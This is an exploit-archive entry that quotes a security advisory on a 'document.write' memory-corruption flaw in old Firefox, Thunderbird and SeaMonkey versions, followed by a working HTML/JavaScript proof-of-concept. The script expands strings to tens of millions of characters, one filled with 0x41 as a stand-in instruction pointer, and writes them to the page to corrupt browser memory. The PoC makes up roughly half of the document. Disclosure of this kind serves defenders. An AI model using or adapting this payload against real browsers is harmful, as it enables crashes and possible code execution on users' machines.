Mozilla Firefox SeaMonkey 3.6.10 / Thunderbird 3.1.4 – ‘document.write’ Memory Corruption
source: https://www.securityfocus.com/bid/44247/info Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data. Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition. This issue affects versions prior to: Firefox 3.6.11 Firefox 3.5.14 Thunderbird 3.1.5 Thunderbird 3.0.9 SeaMonkey 2.0.9 NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it. <html> <head> <script language="JavaScript" type="Text/Javascript"> var eip = unescape("%u4141%u4141"); var string2 = unescape("%u0000%u0000"); var finalstring2 = expand(string2, 49000000); var finaleip = expand(eip, 21000001); document.write(finalstring2); document.write(finaleip); function expand(string, number) { var i = Math.ceil(Math.log(number) / Math.LN2), result = string; do { result += result; } while (0 < --i); return result.slice(0, string.length * number); } </script> </head> <body> </body> </html> <html><body></body></html> |
